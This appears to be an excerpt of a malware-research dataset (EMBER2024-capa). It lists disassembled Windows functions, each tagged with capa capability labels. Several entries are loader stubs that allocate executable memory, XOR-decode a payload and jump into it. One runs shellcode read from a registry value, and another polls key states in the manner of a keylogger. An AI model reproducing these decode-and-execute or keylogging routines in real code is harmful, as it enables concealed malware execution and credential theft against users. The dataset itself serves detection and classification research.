joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2a323049
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x2a323058
pop dword [ebp - 0x24]
mov eax, 0x659be234
sub eax, 0x3b69b1dc
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x2dfce8f0
sub dword [ebp - 0x34], 0xdfaaa3a5
mov dword [ebp - 0x30], 0xf3652488
sub dword [ebp - 0x30], 0xc131d843
mov dword [ebp - 0x2c], 0x91457587
sub dword [ebp - 0x2c], 0x44f93159
mov dword [ebp - 0x28], 0x79e7bb5d
add dword [ebp - 0x28], 0x861844a3
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xa1df2125
sub dword [ebp - 0x34], 0x2d6cb7cf
mov dword [ebp - 0x30], 0x8c443059
add dword [ebp - 0x30], 0xb528311c
mov dword [ebp - 0x2c], 0x57a0df02
add dword [ebp - 0x2c], 0xbce8d6a
mov dword [ebp - 0x28], 0x3deb594
sub dword [ebp - 0x28], 0x3deb594
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x4950d
push 0
call eax
mov ecx, 0x4745
xor esi, esi
add esi, eax
mov edi, 0x3096c5d5
add edi, 0xf9a1122b
add edi, dword [ebp - 0x24]
mov edx, 0xa6a2f58b
add edx, 0xae514041
mov ebx, dword [edi]
xor dword [ebp - 4], 0xd0f06e53
xor ebx, edx
mov dword [esi], ebx
sub dword [ebp - 8], 0x1444fcf0
add esi, 4
add edi, 0x4fa19a41
add edi, 0xb05e65c3
loop 0x2a32316c
add eax, 0x842dd8a0
add eax, 0x7bd33747
xor ebx, ebx
add ebx, eax
add eax, 0x7c1834b3
add eax, 0x83e7cb52
mov ecx, 0x2a300000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x43a455
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x479630]
jne 0x43a45f
repz ret
jmp fcn.004446c5

Function at 0x4500bc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00446d92
and dword [ebp - 0x14], 0
cmp dword [0x47d1f8], 0
mov dword [ebp - 0x18], eax
jne 0x45016f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x450217
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x450217
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x47d1f8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x47d1fc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x47d200], eax
call edi
push eax
call esi
mov dword [0x47d208], eax
test eax, eax
je 0x45016f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x47d204], eax
mov eax, dword [0x47d204]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4501c8
cmp dword [0x47d208], ecx
je 0x4501c8
push eax
call esi
push dword [0x47d208]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4501c8
test ebx, ebx
je 0x4501c8
call edi
test eax, eax
je 0x4501bf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4501bf
test byte [ebp - 8], 1
jne 0x4501c8
or dword [ebp + 0x10], 0x200000
jmp 0x4501fb
mov eax, dword [0x47d1fc]
cmp eax, dword [ebp - 0x18]
je 0x4501fb
push eax
call esi
test eax, eax
je 0x4501fb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4501fb
mov eax, dword [0x47d200]
cmp eax, dword [ebp - 0x18]
je 0x4501fb
push eax
call esi
test eax, eax
je 0x4501fb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x47d1f8]
call esi
test eax, eax
je 0x450217
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x450219
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043a455
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1002a250
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e8d98
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101480b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push str.Entered_ADALGetPasswordChangeUrl
push 0
mov dword [ebp - 4], 0
call fcn.10046430
add esp, 8
push 0
call dword [sym.imp.kernel32.dll_SetLastError]
push dword [ebp + 8]
call fcn.100d47c9
mov edi, eax
add esp, 4
lea eax, [ebp - 0x14]
mov ecx, dword [edi]
push eax
mov esi, dword [ecx + 0x30]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
push dword [ebp + 0x10]
mov byte [ebp - 4], 1
push dword [ebp + 0xc]
push eax
call fcn.100d47c9
mov edx, dword [ebp - 0x14]
add esp, 0xc
mov ebx, eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x1002a2f7
mov edi, dword [edx]
push edx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1002e410
Capabilities:
Hash data using fnv
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x101480b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0x102
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x214], eax
mov dword [eax], 1
je 0x1002e544
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push 0x10
mov dword [ebp - 0x208], ebx
mov esi, ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e467
or ebx, 0x10000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e484
mov ebx, esi
or ebx, 0x20000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e49f
mov ebx, esi
or ebx, 0x40000
mov dword [ebp - 0x208], ebx
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1015084c]
push edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x101512c0]
cmp eax, dword [ecx + 4]
jg 0x1002e556
movzx eax, bl
xor eax, 0x811c9dc5
mov edx, dword [0x101512a4]
imul ecx, eax, 0x1000193
movzx eax, bh
xor ecx, eax
movzx eax, byte [ebp - 0x206]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebp - 0x205]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul esi, ecx, 0x1000193
mov ecx, dword [0x101512ac]
and esi, dword [0x101512b8]
mov edi, dword [ecx + esi*8]
mov eax, edi
nop
cmp edi, edx
jne 0x1002e518
mov ecx, edx
jmp 0x1002e51e
mov ecx, dword [ecx + esi*8 + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x1002e541
cmp dword [eax + 8], ebx
je 0x1002e531
mov eax, dword [eax]
mov ecx, dword [0x101512ac]
jmp 0x1002e510
cmp eax, edx
je 0x1002e541
mov eax, dword [ebp - 0x214]
mov dword [eax], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.100055f3
mov esp, ebp
pop ebp
ret 0x20
push 0x101512c0
call fcn.100d47c9
add esp, 4
cmp dword [0x101512c0], 0xffffffff
jne 0x1002e4c0
mov ecx, 0x80
mov dword [0x101512a0], 0
mov esi, 0x10104158
mov dword [0x101512a4], 0
lea edi, [ebp - 0x204]
mov dword [0x101512a8], 0
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, 0x101512a4
call fcn.100d47c9
push 8
mov ecx, 0x101512a0
mov dword [0x101512a4], eax
mov dword [0x101512ac], 0
mov dword [0x101512b0], 0
mov dword [0x101512b4], 0
mov dword [0x101512a0], 0x3f800000
call fcn.100d47c9
lea edi, [ebp - 0x204]
jmp 0x1002e5f0
mov eax, dword [0x101512a4]
mov ecx, 0x101512a4
push edi
mov esi, dword [eax]
mov eax, dword [esi + 4]
push eax
push esi
mov dword [ebp - 0x20c], eax
call fcn.100d47c9
mov edx, dword [0x101512a8]
mov ecx, 0x15555554
sub ecx, edx
mov dword [ebp - 0x210], eax
cmp ecx, 1
jb 0x1002e680
mov ecx, dword [ebp - 0x210]
inc edx
mov dword [0x101512a8], edx
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x20c]
mov dword [eax], ecx
mov ecx, 0x101512a0
mov eax, dword [0x101512a4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.100d47c9
add edi, 4
lea eax, [ebp - 4]
cmp edi, eax
jne 0x1002e5f0
push 0x100f7c20
call fcn.100d47c9
push 0x101512c0
call fcn.100d47c9
add esp, 8
jmp 0x1002e4c0
push str.list_T__too_long
call fcn.100d47c9
int3
Function at 0x100a2b50
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 0x30]
mov ecx, esi
call fcn.1004aa00
movzx edi, al
mov ecx, esi
neg edi
sbb edi, edi
and edi, 0x800000
call fcn.1004aa00
test al, al
je 0x100a2b98
mov eax, dword [ebx]
push 0x800
push 0x54
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x100f9528]
mov ecx, ebx
call esi
lea esi, [ebx + 0x30]
push 0xd
mov ecx, ebx
call fcn.100d47c9
cmp dword [ebx + 0x40], 0
je 0x100a2c00
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.100d47c9
push edi
push 0
push 0
push 0
push dword [eax]
push dword [ebx + 0x10]
push dword [ebx + 0x40]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ecx, dword [ebp - 4]
mov dword [ebx + 0x44], eax
add ecx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100a2bf1
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
cmp dword [ebx + 0x44], 0
je 0x100a2c07
push 0xe
mov ecx, ebx
call fcn.100d47c9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.100d47c9
push 0x101303e8
lea eax, [ebp - 0x10]
push eax
call fcn.100d47c9
int3
Function at 0x100a2f80
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f4499
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x101480b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 1
call fcn.10002710
mov edi, eax
test edi, edi
je 0x100a30ce
mov eax, dword [edi]
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp - 0x14], 1
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x100a30b8
mov esi, dword [ebp - 0x10]
cmp esi, 0xa00000
ja 0x100a30d8
shr esi, 1
sub esi, 1
js 0x100a30f3
mov eax, dword [edi]
mov ecx, 1
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, esi
or ecx, eax
jge 0x100a3050
push esi
mov ecx, edi
call fcn.100d47c9
mov ecx, dword [edi]
cmp esi, dword [ecx - 8]
jg 0x100a30f3
mov dword [ecx - 0xc], esi
xor edx, edx
mov eax, dword [edi]
push edx
mov word [eax + esi*2], dx
lea eax, [ebp - 0x10]
push eax
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov ecx, dword [edi]
mov esi, eax
test ecx, ecx
je 0x100a3095
push dword [ecx - 8]
push ecx
call fcn.100d47c9
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x100a30f3
mov eax, dword [edi]
cmp ecx, dword [eax - 8]
jg 0x100a30f3
mov dword [eax - 0xc], ecx
xor edx, edx
mov eax, dword [edi]
mov word [eax + ecx*2], dx
test esi, esi
jne 0x100a30b8
push esi
push 0x100fb314
mov ecx, edi
call fcn.100d47c9
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0x80004005
call fcn.100d47c9
push 0xcaa10024
lea ecx, [ebp - 0x20]
call fcn.100d47c9
push 0x10134bb4
lea eax, [ebp - 0x20]
push eax
call fcn.100d47c9
push 0x80070057
call fcn.100d47c9
int3
Function at 0x100a3100
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f44c8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x101480b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebx + 0x18]
lea esi, [ebx + 0x14]
sub edi, dword [esi]
mov eax, dword [ebp + 8]
add eax, edi
cmp eax, 0xa00000
jg 0x100a319a
lea ecx, [ebp - 0xd]
mov byte [ebp - 0xd], 0
push ecx
push esi
push eax
mov ecx, esi
call fcn.100d47c9
mov eax, dword [esi]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 8]
add eax, edi
mov dword [ebp - 0x14], 0
push eax
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x100a31b5
mov eax, dword [ebp - 0x14]
mov ecx, esi
push esi
add eax, edi
push eax
call fcn.100d47c9
push 0xa
mov ecx, ebx
call fcn.100d47c9
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xcaa10024
lea ecx, [ebp - 0x24]
call fcn.100d47c9
push 0x10134bb4
lea eax, [ebp - 0x24]
push eax
call fcn.100d47c9
push 0x100fb314
lea ecx, [ebp - 0x18]
call fcn.100d47c9
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x38]
call fcn.100d47c9
push 0x101359e0
lea eax, [ebp - 0x38]
push eax
call fcn.100d47c9
int3
Function at 0x100a3620
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f4558
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x101480b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
lea ecx, [ebx + 0x30]
mov dword [ebx + 4], ebx
call fcn.1004ac00
test eax, eax
jne 0x100a365d
xor edi, edi
jmp 0x100a3667
lea ecx, [ebx + 0x30]
call fcn.1004ac00
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebx + 0x30]
call fcn.100d47c9
mov esi, dword [eax]
mov ecx, 0x10151464
movzx eax, byte [ebx + 0x3d]
push eax
mov dword [ebp - 4], 0
call fcn.100d47c9
push 0
push 0
push 3
push 0
push 0
push edi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ecx, dword [ebp - 0x10]
mov dword [ebx + 0x48], eax
add ecx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100a36cf
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x100a3702
push 0x100a3eb0
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
cmp eax, 0xffffffff
je 0x100a3736
push 2
mov ecx, ebx
call fcn.100d47c9
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x100fb314
lea ecx, [ebp - 0x10]
call fcn.100d47c9
mov esi, eax
mov dword [ebp - 4], 1
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x28]
call fcn.100d47c9
push 0x101359e0
lea eax, [ebp - 0x28]
push eax
call fcn.100d47c9
push 0x100fb314
lea ecx, [ebp - 0x14]
call fcn.100d47c9
mov esi, eax
mov dword [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x3c]
call fcn.100d47c9
push 0x101359e0
lea eax, [ebp - 0x3c]
push eax
call fcn.100d47c9
int3
Function at 0x100a3a50
Capabilities:
Query remote server for available data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f4458
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x101480b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push dword [esi + 0x4c]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x100a3aa1
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x100a3ad1
mov edx, dword [esi + 0x18]
sub edx, dword [esi + 0x14]
mov eax, dword [ebp - 0x10]
lea ecx, [edx + eax]
cmp ecx, eax
jb 0x100a3b20
cmp ecx, edx
jb 0x100a3b20
test eax, eax
je 0x100a3ac1
cmp ecx, 0xa00000
ja 0x100a3b05
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
push 0x100fb314
lea ecx, [ebp - 0x14]
call fcn.100d47c9
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x34]
call fcn.100d47c9
push 0x101359e0
lea eax, [ebp - 0x34]
push eax
call fcn.100d47c9
push 0xcaa10024
lea ecx, [ebp - 0x20]
call fcn.100d47c9
push 0x10134bb4
lea eax, [ebp - 0x20]
push eax
call fcn.100d47c9
push 0xcaa82f9b
lea ecx, [ebp - 0x2c]
call fcn.100d47c9
push 0x10134bb4
lea eax, [ebp - 0x2c]
push eax
call fcn.100d47c9
int3

Function at 0x100a3cc0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f45b8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x101480b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebx + 0x18]
lea esi, [ebx + 0x14]
sub edi, dword [esi]
mov ecx, dword [ebp + 8]
lea eax, [edi + ecx]
cmp eax, edi
jl 0x100a3d61
cmp eax, ecx
jl 0x100a3d61
cmp eax, 0xa00000
jg 0x100a3d68
push esi
push eax
mov ecx, esi
call fcn.100d47c9
mov eax, dword [esi]
lea ecx, [ebx + 0x40]
push ecx
push dword [ebp + 8]
add eax, edi
push eax
push dword [ebx + 0x4c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x100a3d36
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x100a3d83
mov eax, dword [ebx + 0x40]
mov ecx, esi
push esi
add eax, edi
push eax
call fcn.100d47c9
push 0xa
mov ecx, ebx
call fcn.100d47c9
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xcaa82f9c
jmp 0x100a3d6d
push 0xcaa10024
lea ecx, [ebp - 0x1c]
call fcn.100d47c9
push 0x10134bb4
lea eax, [ebp - 0x1c]
push eax
call fcn.100d47c9
push 0x100fb314
lea ecx, [ebp - 0x10]
call fcn.100d47c9
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x30]
call fcn.100d47c9
push 0x101359e0
lea eax, [ebp - 0x30]
push eax
call fcn.100d47c9
int3
Function at 0x100d47c9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x100d47d8
pop dword [ebp - 0x14]
mov eax, 0xae87a61f
add eax, 0x6185a1b9
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x80fe3
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xc1ecb044
sub ecx, 0xc1ec656b
mov edi, eax
mov ebx, 0xfeada8d1
sub ebx, 0xee9676d1
add ebx, dword [ebp - 0x14]
mov esi, 0x21541177
sub esi, 0xeb8e815
sub dword [ebp - 0x10], edx
mov edx, dword [ebx]
xor dword [ebp - 4], ecx
add edx, esi
sub dword [ebp - 8], 0x60273b81
mov dword [edi], edx
add dword [ebp - 4], 0xf05ce9e3
add edi, 0xd70a3393
sub edi, 0xd70a338f
add ebx, 0x8bfdb9de
sub ebx, 0x8bfdb9da
loop 0x100d4832
add eax, 0xaa92e541
add eax, 0x556e38f6
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9c9cb788
sub ecx, 0x8c9cb788
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x11240b4
Capabilities:
Encode data using xor

Disassembly:
adc al, 0xeb
or byte [eax], al
sbb al, byte [eax]
add byte [eax], al
add byte [eax], al
jmp 0x11240be
pushal
call 0x11240c4
pop ebp
sub ebp, 0x10
sub ebp, 0xd240b4
jmp 0x11240da
mov eax, 0xd240b4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cf
mov edx, 0x2d8cdd60
xor byte [eax], dl
inc eax
dec ecx
jne 0x11240f1
jmp 0x1124104
jmp 0x11240b3
Function at 0x10001089
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
cmp dword [ebp + 0xc], 1
jne 0x1000110e
pushal
push 0x40
push 0x3000
push 0xc4e0
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [section..data], 0x74666f53
mov dword [0x10003004], 0x65726177
push eax
pop dword [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push 0
push section..data
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x1000110b
mov dword [ebp - 8], 0xc4e0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 0
push 0
push 0x10003009
push dword [ebp - 0x1c]
call sub.advapi32.dll_RegQueryValueExA
mov esi, dword [ebp - 4]
mov ecx, 1
mov eax, dword [ebp + 8]
call esi
popal
jmp 0x10001119
cmp dword [ebp + 0xc], 0
jne 0x10001119
mov eax, 0
leave
ret 0xc
Function at 0x10001530
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ecx + 0xc]
pop ebp
jmp fcn.10006e40
Function at 0x10002e50
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006861c
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x100854b4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov eax, dword [ebp + 8]
mov dword [edi + 4], 0x1006c990
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi], 0x1006ca3c
mov dword [edi + 4], 0x1006caac
mov dword [ebp - 4], 0
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0xf
mov byte [edi + 0x1c], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0xf
mov byte [edi + 0x34], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x74], 0
mov dword [edi + 0x78], 0
mov dword [edi + 0x7c], 0
mov dword [edi + 0x80], 0
mov dword [edi + 0x84], 0
mov dword [edi + 0x88], 0x10
mov dword [edi + 0x8c], 0
mov dword [edi + 0x90], 0
mov dword [edi + 0x94], 0
mov ecx, eax
mov word [edi + 0x98], 0
mov byte [edi + 0x9a], 0
lea edx, [ebp - 0x20]
push edx
mov byte [ebp - 4], 0xc
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
mov ecx, dword [edi + 0x10]
lea edx, [ebp - 0x18]
push edx
movups xmm0, xmmword [eax]
movups xmmword [edi + 0x4c], xmm0
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
xorps xmm0, xmm0
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [edi + 0x5c], ecx
mov dword [edi + 0x60], eax
movups xmmword [edi + 0x9b], xmm0
movups xmmword [edi + 0xab], xmm0
call fcn.10001520
lea esi, [eax + 0x14]
push esi
mov dword [ebp + 8], esi
call fcn.10029939
add esp, 4
test eax, eax
jne 0x10002ff1
push edi
mov byte [ebp - 4], 0xd
call fcn.10001520
mov ecx, eax
call fcn.100018c0
push esi
call fcn.1002995e
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
push eax
call fcn.10029d56
int3